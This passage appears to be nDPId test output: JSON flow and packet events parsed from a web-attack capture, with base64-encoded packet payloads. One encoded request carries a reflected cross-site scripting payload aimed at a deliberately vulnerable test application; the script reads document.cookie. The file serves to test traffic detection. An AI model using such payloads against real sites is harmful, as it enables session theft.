+00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":415,"flow_packet_id":6,"flow_first_seen":1499347669336,"flow_last_seen":1499347674804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59664,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":416,"flow_packet_id":6,"flow_first_seen":1499347670582,"flow_last_seen":1499347675804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59678,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":416,"flow_packet_id":6,"flow_first_seen":1499347670582,"flow_last_seen":1499347675804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59678,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":417,"flow_packet_id":6,"flow_first_seen":1499347673136,"flow_last_seen":1499347678804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59704,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":417,"flow_packet_id":6,"flow_first_seen":1499347673136,"flow_last_seen":1499347678804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59704,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":418,"flow_packet_id":6,"flow_first_seen":1499347674433,"flow_last_seen":1499347679471,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59718,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":418,"flow_packet_id":6,"flow_first_seen":1499347674433,"flow_last_seen":1499347679471,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59718,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6472,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":458,"flow_packet_id":1,"flow_first_seen":1499347743331,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60464,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":458,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6472,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347743,"pkt_ts_usec":331813,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iytAAD4GOqWsEAABwKgKMuwwAFCeqlZOAAAAAKACchCe6QAAAgQFtAQCCAoBO91lAAAAAAEDAwc="} +00444{"flow_id":458,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6473,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347743,"pkt_ts_usec":331943,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7DCbKjZEnqpWT6AScSAbmgAAAgQFtAQCCAoD5a7aATvdZQEDAwc="} +00432{"flow_id":458,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6474,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347743,"pkt_ts_usec":332700,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iyxAAD4GOqysEAABwKgKMuwwAFCeqlZPmyo2RYAQAOW6oQAAAQEICgE73WUD5a7a"} +00432{"flow_id":455,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6478,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347743,"pkt_ts_usec":821949,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0be5AAD4GV+qsEAABwKgKMuv6AFCQibWHSFEGGIARAOXxRgAAAQEICgE73eAD5ane"} +00433{"flow_id":455,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6479,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347743,"pkt_ts_usec":822221,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qUxAAEAGGozAqAoyrBAAAQBQ6\/pIUQYYkIm1iIARAOPr0QAAAQEICgPlr1QBO93g"} +00432{"flow_id":455,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6480,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347743,"pkt_ts_usec":822741,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0be9AAD4GV+msEAABwKgKMuv6AFCQibWISFEGGYAQAOXrzwAAAQEICgE73eAD5a9U"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6484,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":459,"flow_packet_id":1,"flow_first_seen":1499347744595,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60478,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":459,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6484,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347744,"pkt_ts_usec":595039,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iGtAAD4GPWWsEAABwKgKMuw+AFAw9lbKAAAAAKACchAK2AAAAgQFtAQCCAoBO96hAAAAAAEDAwc="} +00444{"flow_id":459,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6485,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347744,"pkt_ts_usec":595166,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7D5E+wDpMPZWy6AScSAR1wAAAgQFtAQCCAoD5bAWATveoQEDAwc="} +00432{"flow_id":459,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6486,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347744,"pkt_ts_usec":595930,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iGxAAD4GPWysEAABwKgKMuw+AFAw9lbLRPsA6oAQAOWw3gAAAQEICgE73qED5bAW"} +00433{"flow_id":456,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6490,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347744,"pkt_ts_usec":822666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XjhAAD4GZ6CsEAABwKgKMuwIAFCYkYeSlus\/hYARAOWM5wAAAQEICgE73toD5asb"} +00432{"flow_id":456,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6491,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347744,"pkt_ts_usec":822854,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0j8pAAEAGNA7AqAoyrBAAAQBQ7AiW6z+FmJGHk4ARAOOHtAAAAQEICgPlsE8BO97a"} +00433{"flow_id":456,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6492,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347744,"pkt_ts_usec":823433,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XjlAAD4GZ5+sEAABwKgKMuwIAFCYkYeTlus\/hoAQAOWHsgAAAQEICgE73toD5bBP"} +00432{"flow_id":457,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6496,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347745,"pkt_ts_usec":823601,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0V4BAAD4GblisEAABwKgKMuwWAFBKCo2f9bwHlYARAOWsPgAAAQEICgE739QD5axV"} +00433{"flow_id":457,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6497,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347745,"pkt_ts_usec":823816,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ttxAAEAGDPzAqAoyrBAAAQBQ7Bb1vAeVSgqNoIARAOOnSwAAAQEICgPlsUkBO9\/U"} +00432{"flow_id":457,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6498,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347745,"pkt_ts_usec":824578,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0V4FAAD4GblesEAABwKgKMuwWAFBKCo2g9bwHloAQAOWnSQAAAQEICgE739QD5bFJ"} +00947{"flow_id":458,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6505,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347746,"pkt_ts_usec":913923,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGziy1AAD4GOSysEAABwKgKMuwwAFCeqlZPmyo2RYAYAOVmKQAAAQEICgE74OUD5a7aR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6505,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":458,"flow_packet_id":4,"flow_first_seen":1499347743331,"flow_last_seen":1499347746913,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60464,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":458,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6506,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347746,"pkt_ts_usec":914058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hBxAAEAGP7zAqAoyrBAAAQBQ7DCbKjZFnqpXzoAQAOuyHQAAAQEICgPlslkBO+Dl"} +02829{"flow_id":458,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6507,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347746,"pkt_ts_usec":917362,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcfhB1AAEAGONDAqAoyrBAAAQBQ7DCbKjZFnqpXzoAYAOt9\/QAAAQEICgPlsloBO+DlSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI5OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00432{"flow_id":458,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6508,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347746,"pkt_ts_usec":918045,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iy5AAD4GOqqsEAABwKgKMuwwAFCeqlfOmyo9MIAQAQCrGwAAAQEICgE74OYD5bJa"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6509,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":460,"flow_packet_id":1,"flow_first_seen":1499347747187,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60504,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":460,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6509,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347747,"pkt_ts_usec":187648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eZ5AAD4GTDKsEAABwKgKMuxYAFDkpJi3AAAAAKACchASmgAAAgQFtAQCCAoBO+EpAAAAAAEDAwc="} +00444{"flow_id":460,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6510,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347747,"pkt_ts_usec":187775,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7FgZ9EBx5KSYuKAScSACkAAAAgQFtAQCCAoD5bKeATvhKQEDAwc="} +00432{"flow_id":460,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6511,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347747,"pkt_ts_usec":188323,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eZ9AAD4GTDmsEAABwKgKMuxYAFDkpJi4GfRAcoAQAOWhlwAAAQEICgE74SkD5bKe"} +01215{"flow_id":458,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6512,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347747,"pkt_ts_usec":189083,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9iy9AAD4GOGCsEAABwKgKMuwwAFCeqlfOmyo9MIAYAQB2EgAAAQEICgE74SkD5bJaR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdDSjMxUEZNUkwwVUU1OTgwNk9ZTFFERFpZUktYRVVCOTUxSlBLVzAwSEc5UTBSOFZTOCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02970{"flow_id":458,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6513,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347747,"pkt_ts_usec":192987,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/hB9AAEAGOG7AqAoyrBAAAQBQ7DCbKj0wnqpaF4AYAPR+XQAAAQEICgPlsp8BO+EpSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI5OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Y\/0\/bOBT\/GaT9Dz6fNGASMb1pJ2BtJmhhsMGtowW200mRm7itwYkz22nhv79nJ2nD15IVCRXHfl8+z+\/5+T2\/WW3+0fnW7v\/sHqCxiQXqnu+fHLcR3iTk8n2bkE6\/g34c9U9PUMPbQj2jeGgIOfgHIzw2Jt0lZDqdetP3nlQj0j8jN1ZKw7IVw03teLzIRNh\/s\/pmten03MQi0a1HZDR2dnZy1px8pTlmNILhykozZoYiy7LJfmV80sJtmRiWmM3+bcowCvOvFjbsxhAr4iMKx1RpZlrn\/cPNbYxILnOlabgRzL\/IRMIUHXDBze0uOmNDwULDItRWUmvU44ahXqh4angyQus\/er0NtLuLOjROUMkrGLpkA7SXpoKH1HCZoPXOxeXeBpo0vMYWetdhEyZkGgO0d02SKy5QCJ5cI8VEC2tzK5geM2YwMmBNYUSoNUZjxYYt7HkE\/qLJlNpZElOeeG6ZPJTGYStKOf\/xmI4Ygam7koZ0Ysk8tzCToZ21VQhXdELzWYy0Cu8AudLufxcUeFca+02SUxaeI4Xr7Hggo1sUCqqt12XMcO7SiE8Qj1rY+g4sYqrwemXJCqnMrzR5PHqAxBmpiZAj6aXJCCMqIBAWOGpuN2AFdQ9U200OwHFZRfuDtSClUcSi3CAgyERpp13dFzK8tlsjOJJJCKqvW3jKk0hOPVhyOFpruSXeGi5ZgYHecZeH\/SPYtiahsMuC+6svEcgTOH1ZaKe0l47TZ+TfJ8X+cWWmnlo4cFm6QN+MBvs9O0QEjh9Mos5+RRnJhL\/E